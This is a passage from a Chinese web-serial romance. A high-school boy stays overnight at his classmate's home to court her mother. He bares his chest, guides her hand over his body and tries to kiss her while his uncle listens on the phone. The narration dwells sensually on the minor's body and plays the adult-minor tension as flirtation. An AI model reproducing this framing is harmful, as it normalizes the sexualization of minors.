姜渔坐在自己的位置上,习惯性地拿出书本,她本想继续无视他们,专心学习。 但是……她的座位被团团围住,甚至挡住了光亮,而且一双双眼睛目光如炬地盯着她,存在感极强,让她难以忽视。 姜渔无语地抽了抽嘴角,最后只能绷着脸答道:“她会来。” 话落,周围瞬间爆发出兴奋的欢呼声: “好耶!” “终于又能见到姜阿姨了!” 一名女生硬生生挤开人群,凑到姜渔的面前,她一把拽住姜渔的手,眼睛亮晶晶地说道:“小渔,让我给你妈妈准备参加校庆的礼服吧,求你了!” 这个女生名叫林静韵,妈妈是国际知名设计师,她现在虽然才高中,但已经在国际设计大赛上获过奖了,属于很有天赋的那一类人。 早在姜以柔参加完家长会的第二天,她就主动找上了姜渔,说想要请她妈妈做自己的模特,只是姜渔压根没搭理她。 现在,林静韵抓着姜渔的手不放,满脸狂热地说道:“小渔,求你了,如果姜阿姨能穿着我设计的衣服出席校庆,我死而无憾!” “你放心,我设计的礼裙绝不会让你失望,我一定会让姜阿姨惊艳全世界……” 林静韵大吹特吹,其他同学也纷纷有所表示。 “姜渔,我妈有一条绿宝石项链贼好看,等我偷来送给姜阿姨!” “我花几年的压岁钱买了一对耳环,可好看了,我明天带过来,小渔你帮我送给阿姨吧……” 不知是不是体恤姜渔家境不好,同学们十分热情地表示要帮姜以柔准备礼服和首饰,殷勤的不得了。 姜渔有些无奈,绷着脸拒绝了,“不用。” 同学们依旧热情。 “小渔,你千万别跟我们客气,这也是为了咱们班的荣誉!” “对啊,你不知道,学校里好多人都不相信姜阿姨很漂亮,还特别不服气她作为家长代表发言……我们必须得让姜阿姨惊艳亮相,狠狠打他们的脸!” 自从昨天的风波后,学校里关于姜以柔的风言风语更多了,2班的学生都憋着一口气,无比期待那群人见到姜阿姨后打脸的狼狈。 姜渔却只觉得他们无聊,皱着眉头继续拒绝道:“我说了,不用。” 恰在此时,上课铃响了,同学们只能遗憾地散开。 课上到一半的时候,教室门突然被推开了。 所有人都不自觉向门口看去,只见方镜麒大步走了进来。 方大少今天居然罕见地穿了校服,只是仍旧一股不羁桀骜的味道。他冷着一张俊脸,再配上那头短寸,简直压迫感十足。 他推门而入,径直往自己的座位上走去。他的突然闯入打断了课堂,讲台上的老师无奈地停下,打算等他坐好了再继续讲。 他甚至升不起斥责方镜麒的心思,因为这所学校里没人管得了他。 然而,出人意料的是,方镜麒的脚步突然顿住了。 他似乎想起了什么,脸色微微变幻一瞬,紧绷的唇线显出几分不悦。 他深吸一口气,转身面向讲台,眸光沉沉地盯着老师。 那名中年男老师正想喝口水掩饰尴尬,此时突然被方镜麒盯住,差点呛了口茶,他谨慎地往后退了一步—— 他不确定这位大少爷会不会打老师。 可是他也没得罪这大少爷啊! 就在老师头脑风暴的时候,方镜麒下一秒的反应却让众人惊掉了下巴。 方镜麒面色紧绷,有些生硬地说道:“老师,抱歉,我迟到了。” 众人:“……” 卧槽! 校霸被夺舍了?!他不可能这么有礼貌! 男老师也愣了好一会儿,他毕竟比学生们成熟,很快就轻咳一声,状似无所谓地笑道:“没事没事,回去坐好吧,我们继续上课了。” 方镜麒抿了抿唇,又憋出一句“谢谢老师”,然后才回到位置坐下。 学生们如坠梦中,不敢置信地偷偷瞄着方大少,不明白他到底受什么刺激了,怎么突然变得这么礼貌? 谁都不知道,方镜麒只是下定了决心,要从今天起“成熟”起来。 首先他就要克制自己的坏脾气。 一下课,方镜麒直奔姜渔的座位,沉声道:“跟我来。” 话一出口,他似乎才意识到语气太过强硬了,顿了片刻后,他刻意放缓了声音,重新说道:“能跟我来一下吗?” 姜渔:“……” 我能拒绝吗? 姜渔想了想,还是跟着方镜麒离开了。 姜渔是个恩怨分明的人,方镜麒帮过她好几次,所以哪怕她不怎么喜欢这位大少爷,也愿意给他个面子。 两人到了个安静的角落。 方镜麒开门见山,指着自己的右臂,问道:“这是什么?” 姜渔莫名其妙地看他一眼,古怪道:“你自己的手,你不认识?” 方镜麒一噎,他深呼吸几次,似乎在压火气,道:“我是问你,我手上这玩意儿是什么!” “石膏啊!”姜渔答道,觉得他的问题很弱智。 方镜麒冷笑一声,他扬了扬下巴,倨傲道:“姜渔,你还记得我这手是怎么伤的吧?” 闻言,姜渔眸光微闪,不说话了,多少有点气短。 方镜麒压低声音说道:“我当初救了你的命,这你总承认吧?” 姜渔沉默片刻,缓缓点了点头。 方镜麒主动走到她面前,紧紧盯着她,那眼神极具压迫感,他低声道:“姜渔,我可是救过你的命,所以,你是不是得报答我?” 姜渔抿了抿唇,然后眼神坚定,义正言辞地说道:“我可以报答你,但我绝不会出卖我妈!” 姜渔又不傻,她看得出来方镜麒对她妈有意思。 虽然方镜麒救了她的命,但他别想借此挟恩图报! 方镜麒愣了一会儿,等反应过来姜渔话中的意思后,气急败坏地瞪了她一眼:“我他妈是那种人吗?!” 姜以柔对他愧疚感最高的时候,他提的要求也不过是想吃她做的饭而已! 而且最后还特么吃的是情敌做的饭! 他怎么可能借此要挟?! 方镜麒凤眼圆瞪,英俊的脸上是压不住的怒火,他或许脾气很坏,但从来都坦坦荡荡,直白热烈,不屑于搞什么阴暗手段。 姜渔沉默了一会儿,默默问道:“那你想让我怎么报答你?” 方镜麒冷哼一声,明显还在为她的恶意揣度而不爽。他磨了磨牙,低声道:“很简单,你帮我补习。” 姜渔一时间沉默了,“……你要学习?” 方镜麒斜眼睨着她:“我不能学习吗?” 他左手插兜,微扬着下颌,举手投足间满是少年意气,他轻哼道:“从今天开始,我要好好努力。” 她不是嫌他幼稚吗? 他会为了她努力成长的,早晚有让她刮目相看的一天。 姜渔嘴角微抽,试图拒绝:“你应该能请到更好的家教……” 方镜麒双眸微眯,强势地盯着她,说道:“不行,我就要你给我补习。” 然后,方镜麒眸光微闪,轻咳道:“而且……要去你家补习。” 姜渔:“……” 图穷匕见! 第76章 当晚, 姜渔站在家门口,却犹豫着迟迟没有打开大门。 直到身后传来一道满是不爽的催促声:“你磨蹭什么呢?” 姜渔默默地回头,只见方大少正单手插兜, 一脸不耐地睨着她,那短得贴头皮的圆寸再加上那双漂亮却锋利的凤眼,让他整个人活像个恶霸。 见姜渔幽幽的视线望过来, 方镜麒面上的烦躁微微一僵。 方镜麒有些懊恼地皱了皱眉头, 暗恨自己怎么又忘了要表现得“成熟稳重”一点。 尤其是在姜渔——姜以柔的女儿面前,他更应该表现得可靠一点! 也好让她觉得自己够格当她的“继父”。 这么想着, 方镜麒深吸一口气,勉强扯出一个“和善”的微笑,说道:“姜渔同学, 我们赶紧进去吧, 我急着学习呢。” 姜渔:“……” 这货好像精神分裂了。 姜渔皱起眉头,严肃地警告道:“我可以带你回家补习,但请你不要做出任何骚扰我妈妈的事情,否则……” 方镜麒挑眉一笑, 斩钉截铁道:“放心吧, 我不会胡来的。” 姜渔半信半疑地盯了他一会儿,然后刻意用身体挡住密码锁,这才打开了大门。 姜渔昨天一直在学校上学, 等她回到家的时候,谢凛、方隐年和方镜麒这三个闹得天翻地覆的男人都离开了, 所以她没能亲眼目睹那精彩的一幕幕。 偏偏姜以柔和姜父姜母也刻意瞒着她这些事, 所以,姜渔完全不知道,她身后的这位校霸昨天是怎样在她家里发疯的。 如果姜渔知道的话, 她宁愿打折自己的手臂还人情,也绝不会松口带他回家。 姜渔打开房门,一步跨进屋内,俯身帮方镜麒拿了双拖鞋,淡声招呼道:“进来吧。” 方镜麒目光灼灼地打量着屋里熟悉的装饰,忍不住翘了翘唇角—— 他狭长漂亮的凤眸微微眯起,盈着势在必得的野心,和跃跃欲试的兴奋。 谁能想到,这位大少爷昨天走得那般狼狈,一副被伤透了心的模样,今天却这么快就重整旗鼓了。 果然是天不怕地不怕,且最不怕丢脸的少年人。 方镜麒换了鞋,跟在姜渔身后进了屋。 姜父姜母恰好迎上前来,满脸笑容地说道:“小渔回来啦,给你留了面条……” 他们话音未落,看到方镜麒那张熟悉的脸时戛然而止。 姜父姜母惊疑不定地盯着方镜麒,甚至忍不住往后退了两步—— 显然,两位老人对方镜麒昨天发疯的事心有余悸,生怕他再闹上一回。 他家孔武有力的准女婿出差去了,他们两个老东西可拦不住这年轻力壮的小伙子。 姜渔一时间没发现姥姥姥爷的异样,平静地介绍道:“姥姥、姥爷,这是我同学,他要我帮忙补习功课,所以就来了……” 姜父姜母一听,根本难以掩饰面上的震惊与心慌—— 我的天,这小伙子竟然找他们孙女补课?别是醉翁之意不在酒吧…… 姜渔这下终于注意到了姥姥姥爷的古怪之色,她怔了一瞬,有些疑惑地问道:“怎么了?” 她微微蹙眉,眼神在两位老人和方镜麒之间来回扫视,继续追问道:“你们之前见过?” 姜父姜母犹疑着对视一眼,不知道该不该把昨天的事情说出来。 见状,方镜麒顿时心头一跳。 他清楚地捕捉到了姜父姜母脸上的警惕,不由得有些后悔昨天的冲动—— 现在姜以柔的父母明显不太待见他,这情势对他极为不利。 于是,赶在姜父姜母想要说什么之前,方镜麒抢先开口了: “叔叔阿姨,你们好,我叫方镜麒,是姜渔的同学。” 方镜麒在上高中的年纪,身高就窜到快一米九了,而且他酷爱各种极限运动,身形修长而结实,格外有力。 他几步走到姜父姜母面前,宽阔的肩膀和高大的身材极有压迫感,投下的阴影笼罩着两位瘦小的老人,简直像是一头张牙舞爪的恶龙。 姜父姜母连连后退,警惕地瞪着他。 方镜麒眸光微闪,随即微微垂下眼眸,浓密的睫羽轻轻颤了颤,素来张扬强势的人,竟显出几分委屈。 “叔叔阿姨,你们别误会,我不是来找麻烦的……”方镜麒抿了抿唇,轻声说道。 他状似无意地晃了晃自己打着石膏的右臂,苦涩一笑,说道:“前段时间,姜渔同学险些坠马,我为了救她,不小心弄断了右臂。” “最近我一直在住院,学校的功课落下了很多,不得已才拜托姜渔同学帮我补课。”方镜麒微低着头,纤长的睫毛掩住了那双凤眸中的情绪,只让人感觉到他似乎很失落。 姜父姜母闻言愣了一瞬,随即紧张地抓住姜渔的手臂,连声质问道:“小渔,你差点从马上掉下来?” 姜渔心里一紧,忍不住狠狠瞪了方镜麒一眼。 对于辛苦讨生活的姥姥姥爷,姜渔习惯了报喜不报忧,从来不把在学校里的糟心事跟他们说。 先前差点坠马的那次意外,她想着反正都过去了,她也没有受伤,便刻意隐瞒了下来,没有跟两位老人说,谁知道方镜麒竟然把这事抖落出来了。 姜渔有些头疼,硬着头皮给他们解释道:“没事了,都已经过去了,我一点儿事都没有。” 姜父姜母仍旧不放心,抓着姜渔细细地询问当初的事情。姜渔不得已,只能把事情的经过如实说了一遍。 两位老人听得心惊肉跳,捂着胸口不断庆幸孙女没事。 然后,姜父姜母再看向方镜麒的眼神,就彻底变了。 两位老人非常朴实,他们对自己孙女的救命恩人,既感激又羞愧,搓着手一时间不知道该说什么才好。 “小伙子,你这手没有大碍吧?”姜父盯着方镜麒被石膏包裹的手臂,脸上浮现出浓浓的愧疚。 方镜麒笑了笑,不甚在意地说道:“没事,养养就好了。” “唉,真是多亏了你啊,好孩子……”姜母上前几步,一扫刚才对方镜麒的忌惮,亲热地拉着他的手臂,将人按坐在沙发上,“你坐会儿,我给你倒杯水。” 姜父这时也端着满满一碗面条出来了,小心翼翼地放到方镜麒面前,憨厚道:“小方,你饿不饿?先吃点面垫垫吧,一会儿我去买菜,你想吃啥就跟我说……” 转眼间,姜父姜母对方镜麒的态度就来了个一百八十度大转弯,直看得姜渔瞠目结舌。 方镜麒忍不住唇角微翘,露出一个得意的笑容,他眉梢微挑,飞扬的凤眼中溢着明晃晃的神气。 刚才还像只低眉臊眼装乖的小狗,这会儿终于忍不住露出了大尾巴狼的本性。 方镜麒一时得意忘形,嘴角翘得老高,直到一抬眼看到姜渔鄙夷的眼神,他才迅速收敛了神情。 方镜麒连忙接过碗,很有礼貌地道了谢,“叔叔,谢谢您,我最喜欢吃面了。” 姜渔:“……” 姜渔忍不住暗中磨牙——那是给我准备的面! 方镜麒一边有一搭没一搭地吃面,一边状似无意地问道:“对了,姜以……姜渔的妈妈呢?她不在家吗?” 姜父脸上热切的笑容一僵,终于想起来这小伙子似乎对他闺女有意思。 如果是以前,他大可以毫不客气地拒绝这个痴心妄想的小子,但偏偏他救了孙女的命…… 姜父犹豫半晌,在方镜麒执拗的注视下,终于说道:“她跟朋友出去逛街了。” 方镜麒脸色微变,捏着筷子的手也紧了下,随即闷声问道:“男的女的啊?” 姜父瞥他一眼,无奈道:“女的。” 姜以柔今天跟张茜出去逛街了,中午都没回来吃饭,估计正在大买特买。 方镜麒这才松了口气,低头大口吃面。 姜父几番欲言又止地望着他,终于忍不住叹气道:“小方啊,你应该喊我爷爷的。” 方镜麒跟姜渔是同辈人,按理该喊他和他老伴爷爷奶奶,但他偏偏要喊叔叔阿姨,仿佛跟姜以柔是同辈…… 这点小心思可以说是昭然若揭了。 姜父这是在委婉地提醒他,他跟姜以柔之间隔着辈分,是没有结果的。 方镜麒动作一顿,随即若无其事般冲姜父露出一个笑容,说道:“叔叔,你做的面很好吃,谢谢。” 姜父:“……” 这孩子咋油盐不进呢! 姜父无奈地摇头离开了,让两个孩子在客厅里学习。 姜渔见姥姥姥爷离开,立刻语气不善地质问道:“你在我姥姥姥爷面前瞎说什么?” 方镜麒随手抽出一张纸巾擦了擦嘴,扬手一抛将垃圾扔进桶里,他漫不经心地应道:“我哪里瞎说了?难道我救了你不是事实?” 姜渔一噎,沉声道:“都过去这么久了……” 方镜麒扬了扬眉梢,轻哼道:“过去再久,我救了你也是事实,你可别想赖账!” 姜渔:“……” 拳头硬了。 “行了,赶紧帮我补习吧,别浪费你救命恩人的时间了。”方镜麒拿出书本,不客气地催促道。 姜渔深吸一口气,强压下心头的火气,认命地坐到了他旁边。 姜渔本以为,方镜麒只是找个借口来她家,并非真心要学习,但出乎他意料的是,方镜麒竟然学得很认真。 而且,不得不承认他很聪明,底子也不差,举一反三下学习效率极高。 姜渔见状也就抛下了偏见,认认真真地教他。 两个小时后。 姜渔收起了书本,说道:“今天就学到这儿,你回家吧。” 方镜麒抿了抿唇,不情愿道:“再学一会儿。” 姜渔冷着脸赶人,“你该走了。” 方镜麒还没等到姜以柔,怎么甘心就此离开。 就在他正苦思冥想其他借口的时候,玄关处终于传来开门声。 方镜麒眼睛一亮,立刻朝门口看去。 下一秒果然出现了姜以柔的身影。 她手上提着大包小包,娇嫩的红唇微微勾起,还哼着歌,似乎心情很不错的样子。 方镜麒一见到她,瞬间站起身来,他浑身紧绷,呼吸略有些急促,一双凤眸死死锁在她身上,眨也不眨。 这一瞬间,他装出来的乖顺和漫不经心尽数褪去,依旧是那个任性强势的狼崽子。 姜以柔一进门看到他后也很震惊,她皱了皱眉头,深感头疼地质问道:“你怎么又来了?” 一个“又”字,把她的嫌弃和不耐表现得淋漓尽致。 方镜麒心口一痛,垂在身侧的拳头不由得紧了紧。 他迅速垂眸,掩住了眸中的暗色,他不动声色地调整着呼吸,用尽量平稳的嗓音说道:“我只是找姜渔帮我补习而已,不是来找麻烦的,你别误会。” 也别……赶我走。 剩下这句话在方镜麒喉中滚了滚,最终还是没能说出口。 姜以柔惊讶地打量着方镜麒,显然不是很相信他的说辞。但只要方镜麒别像昨天似的大吵大闹的发疯,她也懒得管。 她进屋后,随手把那些包装袋放在地上,接着径直走进了卧室。 只是进卧室之前,她还留下了一句话:“时间不早了,赶紧回家吧。” 方镜麒的目光紧紧追随着她的身影,眼睁睁看着她的卧室门砰的一声关上,方镜麒瞳孔微颤,不甘地抿了抿唇。 姜渔冷眼瞧着这一切,忍不住冷哼一声,似是在嘲笑他的不自量力。 就在这时,窗外一道惊雷闪过,随即暴雨突兀地落下,很快打湿了窗户。 方镜麒看着外面的瓢泼大雨愣了一瞬,一双凤眸蓦地亮了起来,闪动着狡黠的笑意。 姜渔也皱眉看向窗外的暴雨,再一次催促道:“早说让你赶紧走,非得等到下雨。” 她翻出一把伞递向方镜麒,说道:“拿着伞走吧。” 方镜麒冷笑一声,十分不客气地说道:“姜渔,你让我冒着这么大的雨离开?你对你的救命恩人也太坏了。” 姜渔一时无言,问道:“那你想怎么样?” 方镜麒眼珠一转,轻咳一声,道:“先等雨停吧。” 于是,他就这么心安理得地在姜家赖了下来。 姜以柔回卧室后先洗了个澡,她换上自己的睡衣,正要去客厅倒杯水喝,一打开门却惊讶了。 “你怎么还没走?”姜以柔颇有些无语地问道。 方镜麒原本正在做题,闻言蓦地抬起头望向她。 方镜麒准备了一肚子的解释,但在看到姜以柔的那一瞬间,他浑身一震,表情一片空白。 姜以柔穿着一条纯棉的白色睡裙,很宽松也很简约,隐约勾勒出她窈窕的身体曲线。她浓密的发丝还带着些湿意,松散地披在肩头。 那张美丽的面容如出水芙蓉般干净、清丽,莫名像一条刚上岸的美人鱼,令人一眼荡魂。 尤其是,她这副刚洗完澡的样子,举手投足间香气四溢,暧昧又撩人,很容易让人浮想联翩。 方镜麒怔怔地看着她,耳根瞬间红了。 他几乎连自己是谁都忘了,刚才想说的话也统统忘了个干净。 最后是姜渔臭着脸答道:“下雨了,他非要等雨停了再走。” 姜以柔顺势看了眼窗外的瓢泼大雨,干脆地掏出手机,道:“我给你小叔打电话,让他派人来接你。” 下雨又怎么了,直接让方隐年来接就行了。 方镜麒瞬间从姜以柔动人的艳色中回过神来,他脸色微变,猛地上前夺过她的手机。 他气息不稳,恨恨地瞪着她,怒道:“能不能别每次都找方隐年啊!” 她就这么见不得他呆在她家吗?! 方镜麒一时怒气上头,差点忘了要装乖的事情。 等反应过来后,他赶紧强行收敛了怒意,故作委屈地说道:“我不想见方隐年,你别喊他过来……” 姜以柔微微一怔,有些古怪地上下打量着这位大少爷。 这暴躁的大少爷……今天怎么有点奇怪呢? 转性了? 姜以柔饶有兴味地挑了挑眉,抱着手臂好整以暇地问道:“那你想怎么样?” 方镜麒紧张地瞄她,鼓起勇气说出了自己的野心:“我能借住一晚吗?” 姜以柔:“……” 正当姜以柔想要拒绝时,姜母抱着被褥出现了。 她一边在沙发上铺被褥,一边对姜以柔和姜渔说道:“今晚雨太大了,回去不安全,让小方在咱家将就一晚吧。” “小方啊,沙发肯定没有床舒服,委屈你了”姜母很是愧疚地说道。 方镜麒忍不住得意一笑,随即赶紧绷起脸一本正经地说道:“不会的,阿姨,不委屈,谢谢你收留我。” 姜渔木着脸站在一旁,瞪向方镜麒的眼睛里满是寒光。 这个卑鄙的混蛋! 姜以柔眉梢一挑,玩味地打量着方镜麒,将他脸上隐晦的得意看的清清楚楚,她忍不住失笑道:“那你就睡沙发吧。” 方镜麒爱睡沙发就睡呗,她无所谓。 姜以柔喝了口水,便径直回了卧室,再也没看方镜麒一眼。 方镜麒张了张嘴,似乎想喊住她,但碍于还有其他人,最后还是悻悻地闭了嘴。 简单的布置后,方镜麒就这么睡在了姜家客厅的沙发上。 夜深人静的时候,姜以柔拨通了一个电话。 电话很快被接起,手机里传来方隐年沉静而磁性的嗓音: “什么事?” 姜以柔侧躺在床上,纤长的手指把玩着自己的发尾,笑意玩味,妖娆得像条美人蛇,可惜这副诱人的场景没人看得到。 姜以柔含着笑意的声音响起,语气娇柔:“方总,你侄子又来我家了,而且,他还非要住下……” 方隐年那边沉默片刻,再开口时嗓音里带了几分寒意:“我现在过去。” 很显然,他要来姜家把侄子再次领走。 然而,姜以柔却出乎意料地拒绝了,懒散地说道:“方总,你不用过来了,既然方少爷想睡在这儿,就随他吧。” 话落,手机里传来长久的沉寂。 过了好一会儿,方隐年紧绷的嗓音响起,“什么意思?你对镜麒……” 这一刻,方隐年的心里百转千回,掠过了许多念头—— 姜以柔难道接受了他的侄子?可是那个叫谢凛的男人呢…… 方隐年只觉得自己像座即将爆发的活火山,而那引线就在姜以柔的手中,全在她一念之间。 姜以柔轻轻笑了两声,慢悠悠地说道:“方总,放心吧,你侄子睡的是沙发。” 话落,方镜麒的呼吸声明显平缓了些,大概是放下心来了。 紧接着姜以柔又轻笑道:“我特意打电话是想提醒你……” “你侄子的住宿费别忘了给我。” 方隐年:“……” 半晌,方隐年像是没辙了,沉声问道:“多少钱?” 姜以柔轻哼一声:“你看着给呗。” 她今天出去逛街,不小心多买了点,身上又没钱了。 从方姓ATM那里搞点钱,也就顺手的事儿。 姜以柔琢磨了一下,继续道:“对了,你侄子还让我家小渔给他补课呢,补课费也给一下。” 方隐年:“……” 姜以柔通知完,就想着挂电话,谁知下一秒,她的卧室门被轻轻敲响了。 紧接着,门外传来一道刻意压低的嗓音:“姜以柔,开门。” 是方镜麒。 姜以柔不由得看了眼时间,大半夜的,他敲她的门做什么? 姜以柔刚从床上坐起身,手机里就传来方隐年稍显急促的嗓音: “别给他开门。” “我现在过去。” 姜以柔挑高了眉梢。 第77章 姜以柔打开卧室的灯, 摸索着下了床,漫不经心地冲着手机说道:“方总,外面下着大雨呢, 你就不用过来了。” “把钱打过来就行。”姜以柔轻笑着说道。 说完,她便想要挂掉电话,然而手机里却传来方隐年急促的声音: “别挂!” 方隐年那边隐隐传来车子发动的声音, 混合着淅沥沥的雨声, 有种强烈的紧迫感。 他的嗓音显得格外严厉,一字一句叮嘱道:“别挂电话, 我马上到。” 闻言,姜以柔玩味地挑了挑眉稍,她明知道方隐年是在担心方镜麒乱来, 却还是故意揶揄道:“方总, 你是不是有什么特殊癖好啊?就这么爱在电话里听我跟别的男人互动?” 闻言,方隐年那边骤然安静下来,只有隐隐的沉重喘息,蕴着风雨欲来般的压抑。 姜以柔笑意玩味, 不期然想起了昨天的事情。 她给方隐年打电话, 拜托他去学校处理便宜闺女的事情时,谢凛吃醋发疯,两人当场便胡闹了起来。 衣料摩擦的声音, 肢体碰撞的啧啧水声,她的轻喘、惊呼以及各种胡言乱语, 恐怕都透过手机穿到了方隐年的耳中。 事后, 姜以柔特意回看了眼他们的通话时间—— 方隐年可没少听呢。 姜以柔的调笑让方隐年哑口无言,再说不出一句话。 没人知道此时他的心里有多么煎熬,就好像一切心思都被赤祼地袒露在阳光下, 无所遁形。 姜以柔恶趣味地轻笑两声,终于大发慈悲地放过了方隐年,随口说道:“那我就不挂电话了,你想听就听吧。” 说着,姜以柔已经往卧室门口走去。 哪怕她拖了这么久,敲门声依旧很轻,似乎是害怕吵醒其他人。 姜以柔拧开门锁,轻轻拉开房门。卧室里的灯光溢到屋外,照亮了立在门口的少年。 方镜麒脱了校服外套,只穿着简单的短袖和长裤,露出的小臂线条流畅,格外结实,只是右臂的石膏多少有些碍眼。 “有事?”姜以柔漫不经心地问道。 方镜麒紧紧盯着她,喉结紧张地滚动两下,半晌才低声道:“你觉得……我今天的表现怎么样?” 姜以柔愣了愣,下意识地反问道:“什么?” 方镜麒抿了抿唇,有些羞恼地抬高了点声音,道:“我问你有没有感觉我变成熟一点了!” 方镜麒今天可谓死死压制着本性,努力向成熟稳重这个词靠拢,好不容易坚持了一整天,他迫不及待想从姜以柔这里得到一些正面反馈。 就像是小狗在期待主人的赞赏。 姜以柔却忍不住噗嗤笑出声来,她眉眼弯弯地说道:“现在问这个问题还太早了,等你真正长大了再说吧。” 方镜麒微微一怔,面色瞬间阴沉下来。 他胸口剧烈起伏几瞬,忍不住愤怒地低吼道:“又是这句话……你不要每次都用这句话敷衍我!” “我早就已经长大了,你什么时候能看看我?!”方镜麒呼吸急促,两眼通红地瞪着她。 突然间,方镜麒冷笑一声,竟抬手脱去了身上的短袖,露出修长结实的上半身。 姜以柔原本漫不经心的目光,瞬间凝固了。 她很是震惊地眨了眨眼睛,失声质问道:“你……你脱衣服干嘛?!” 此时,身高腿长的少年只穿了一条宽松的校服裤子,上身的短袖被他粗暴地扯下、扔远,他上半身不着寸缕,大大方方地展露着他的好身材。 面对姜以柔震惊的质问,方镜麒羞窘得耳根处泛起薄红,但面上更多的是一股恼意。 方镜麒深吸一口气,咬牙切齿地怒道:“谁让你天天嫌弃我没长大?我就是要让你看看……” 他恨恨地咬了咬牙,猛地攥住姜以柔的手,引着她抚上了自己的胸口。 “我已经是个男人了!”方镜麒怀着破釜沉舟般的心情,毫无保留地向姜以柔展露了一切。 少年赤祼着上身,带着她的手按在自己的胸口,这个姿势很暧昧,但他愤怒泛红的眼眶,实在不像是勾引,倒更像是恨不得把心剖给她看。 姜以柔不由得愣住了,她的手被方镜麒的大掌牢牢包裹着,紧紧按在那坚硬温热的胸膛上。 姜以柔的眼神不受控制地落在了方镜麒祼露的上半身。 少年人的身形还带着些许稚嫩青涩,并不如谢凛那样的成年拳击手健壮,但也覆了层紧实的薄肌,像一只初长成的猎豹那般矫捷。 那年轻的蜜色肌肤温热、紧实而有弹性,充满年轻人的勃勃生机,每一处起伏都蕴着极强的爆发力。 方镜麒长腿一迈,跨到姜以柔的面前,结实的胸膛几乎贴着她的鼻尖。 在这样沉默的对峙间,似乎有什么异样在悄然涌动。 方镜麒几声急喘后,情绪终于稳定了些许。他低头看着她,凤眸微微眯起,幽黑的眸底涌动着晦暗的侵略性。 初时的怒意逐渐消退,转而涌上心头的是蠢蠢欲动的燥热。 方镜麒死死盯着那张美得惊心动魄的脸庞,喉结微滚,微哑的嗓音似乎带了点若有似无的钩子,轻声问道:“好摸吗?” 姜以柔终于从愣怔中回过神来,神情古怪地打量着方镜麒。 这大少爷还真是被刺激得不轻啊,连这种勾栏样式都用上了! 姜以柔扯了扯嘴角,十分淡定地说道:“我摸过更好的。” 方镜麒:“……” 方镜麒的表情骤然僵住了。 然后,大少爷终于装不下去了,一瞬间气得凤眸都在喷火,嗓音都不自觉拔高了,“你胡说!” 姜以柔淡淡地“啧”了一声,斜睨着满脸愤愤的大少爷,轻笑道:“我骗你干嘛?” “谢凛的胸围有110呢,你么……”姜以柔挑了挑眉梢,猝不及防地在他胸口上捏了两下。 “再练练吧。”姜以柔十分淡定地点评道。 方镜麒被气得眼前一黑,几乎就要爆发,但是…… 当姜以柔轻轻捏了下他的胸膛后,他心里积郁的怒气仿佛一个被戳破的皮球,很快就漏光了。 她柔软的掌指陷进他的胸肌中,柔软滑腻,微微用力时,仿佛直接攥住了他的心脏,让他呼吸瞬间急促起来。 她的手指好像有魔力一般,又像是带了电流,方镜麒微不可查地身体一颤,敏感得脸颊都红了。 方镜麒的呼吸骤然粗重起来,随着炙热的呼吸一同漫开的,是隐晦又躁动的荷尔蒙。 姜以柔面色仍旧平静,手指却不自觉蜷缩了下,像是被他烫得很不自在。 “好了,赶紧松开……”姜以柔深吸一口气,严肃地说道。 方镜麒却不甘地咬了咬牙,坚决不肯放开姜以柔的手,反而变本加厉地引着她继续往下摸…… 方镜麒冷哼道:“我胸围比不上他又怎么样?我还有腹肌呢,你摸!” 于是姜以柔就被迫摸上了那块垒分明的腹肌。 方镜麒的胸围的确没有谢凛大,腰也比他细一圈,从宽肩到细腰处猛然收窄的线条,显得他身形格外漂亮,腹肌的手感也确实不错。 姜以柔定了定心神,努力目不斜视,嘴上仍旧不饶人:“谢凛的腹肌我都摸腻了。” 方镜麒凤眸幽深,闪动着凛然的寒光,几息沉默后,他突然咬牙切齿地说道: “我比他年轻。” 姜以柔微微一怔,随即不说话了。 方镜麒眸光炽热,紧紧盯着她,一边牵着她的手沿着腹肌不断往下,一边哑声问道:“你要不要试试?” 方镜麒垂着头,鼻尖尽是姜以柔身上的幽香,那张美丽的脸庞也近在咫尺,仿佛唾手可得。 安静的夜里,两人距离极近,默默地对视着,视线缠绕间,仿佛有什么在悄然发酵、滋长,撩起人心底最深处的波澜。 姜以柔还没来得及回答,周围突然传来方隐年压抑的警告声: “方镜麒!” 嗓音沉凝,携着风雨欲来的怒气和警告之意。 方镜麒浑身一凛,似乎被吓住了,他紧皱起眉头,惊疑不定地打量着四周。 “草,我怎么听到了方隐年的声音……错觉吗?”方镜麒嘀咕道。 姜以柔掏出口袋里的手机,把正在通话中的界面在方镜麒眼前晃了晃,笑眯眯地说道: “方少爷,就知道你大晚上的敲门没安好心,你家大人特意监督你呢。” 方镜麒愣愣地盯着手机屏幕上的“正在通话中”,等反应过来后,瞬间气炸了肺。 他一把夺过姜以柔的手机,压低声音吼了一句,“方隐年,你他妈变态啊!” 偷听别人调情! 方镜麒骂完之后,恶狠狠地挂了电话,然后死死瞪着姜以柔,他气得胸膛剧烈起伏着,嗓音都在发颤,“姜以柔,你就这么喜欢给他打电话?” 姜以柔不置可否地耸了耸肩,轻声道:“行了,别折腾了,赶紧睡觉吧。” 方镜麒咬着牙瞪他,凤眸红红的,盈满了不甘。 他突然伸手扣住姜以柔的后腰,俯身凶狠地吻了下来。 姜以柔心里一惊,立刻偏头躲避,最终他炙热的唇落在了他的侧脸上。 “方镜麒!”姜以柔眉头一皱,沉声低喝道。 似乎是听出了她的抗拒和不悦,方镜麒身形一僵,久久没有动作,最后颓丧地将脑袋埋进了她的肩窝。 方镜麒就这么紧紧搂着她,侧脸紧贴着她的脖颈,高大的身躯几乎将她笼罩,像只占有欲十足的大狗。 良久,他闷闷的声音传出:“为什么……” 向来骄傲恣肆的大少爷鲜少有如此挫败的时刻,嗓音都带这些委屈的颤意: “为什么就我不行……” 姜以柔神情微怔,眼神不由得软化了一些。他抬手摸了摸方镜麒短短的发茬,依旧是那句话: “等你长大再说吧。” 方镜麒不甘心地咬牙,正想要问她,到底在她眼里怎么才算是长大。 但下一秒,大门被轻轻敲响了。 方镜麒的思绪被打断,瞬间警惕地眯起一双凤眸:“这么晚了,谁会来?” 姜以柔从他怀里挣脱出来,径直走向门口,轻笑道:“还能是谁?” 她轻轻打开房门,门外是一个高大的男人。 方镜麒一看清来人的脸,便恨恨地翻了个白眼,低声咒骂道:“阴魂不散!” 又是方隐年! 第78章 风雷交加的雨夜, 出行极度困难,方隐年却以不可思议的速度赶到了姜以柔的家门口。 方隐年立在门外,罕见的十分狼狈。 他浑身都被雨淋透了, 衣物在不停地滴水,地面上甚至聚集起一小片水洼。 他把车停在楼下,只是走进楼道的这一小段距离, 便被瓢泼大雨淋了个透心凉。 方隐年微微喘着气, 